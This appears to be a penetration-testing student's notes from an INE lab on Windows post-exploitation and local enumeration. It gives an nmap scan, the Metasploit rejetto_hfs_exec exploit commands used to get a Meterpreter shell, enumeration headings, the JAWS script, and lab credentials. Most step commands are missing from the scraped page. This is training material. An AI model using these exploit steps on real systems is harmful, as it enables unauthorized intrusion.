🔬Windows Post-Exploitation
🔬 INE LAB
Target IP:
10.2.16.155Local Windows Enumeration
📝📌 Always document and save all the Post-Exploitation Local Enumeration in a local file.
Enumeration & Exploitation
nmap -sV 10.2.16.155
80/tcp open http HttpFileServer httpd 2.3
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
3389/tcp open ssl/ms-wbt-server?
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPCsearchsploit rejetto
service postgresql start && msfconsole -qsearch rejetto
use exploit/windows/http/rejetto_hfs_exec
setg RHOSTS 10.2.16.155
setg RHOST 10.2.16.155
run
meterpreter >Local Enumeration
System Information
In the
Meterpretersession
In the
Windows command promptsession
Get specific info about the KBs. pay attention to the Security Updates
Users & Groups
Privilege escalation is not necessary in this case
Enumerate current/recent logged-on users
Back into the
Meterpretersession
In the
Windows command promptsession
Enumerate current logged-on users
Display all the accounts
Enumerate groups
Network Information
Show network adapter info
Display the routing table
Check the
arptable for a list of all devices on the network
List open listening connections/ports
Win Firewall state
Processes & Services
Enumerate all running processes, from a
Meterpretersession
Process migration is recommended to obtain a stable
Meterpreter session
In the
Windows command promptsessionList started services
List the running tasks and the corresponding services
List the scheduled tasks
📌 Scheduled tasks can be misconfigured and vulnerable to exploitation and privilege escalation!
Automating Local Enum
🔬 INE LAB
Target IP:
10.2.16.155Credentials:
administrator:tinkerbellAutomation Tools:
Metasploit Framework
JAWS - PowerShell 2.0 script designed to help penetration testers quickly identify potential privilege escalation vectors on Windows systems.
Enumeration & Exploitation
Metasploit Post-Exploitation
Enumerate current user privileges
Enumerate logged on users
Check if the target is a VM or a container
Enumerate installed applications
Search for vulnerabilities in the installed programs
Enumerate same LAN computers
Enumerate installed updates/patches
Enumerate the SMB shares
JAWS
Copy the content of the jaws-enum.ps1 script and save it in the lab environment
Back into the
MSFconsolesession, copy thejaws-enum.ps1file into theC:\temptarget directory
Run
jaws-enum.ps1and output the results in a file
Last updated
Was this helpful?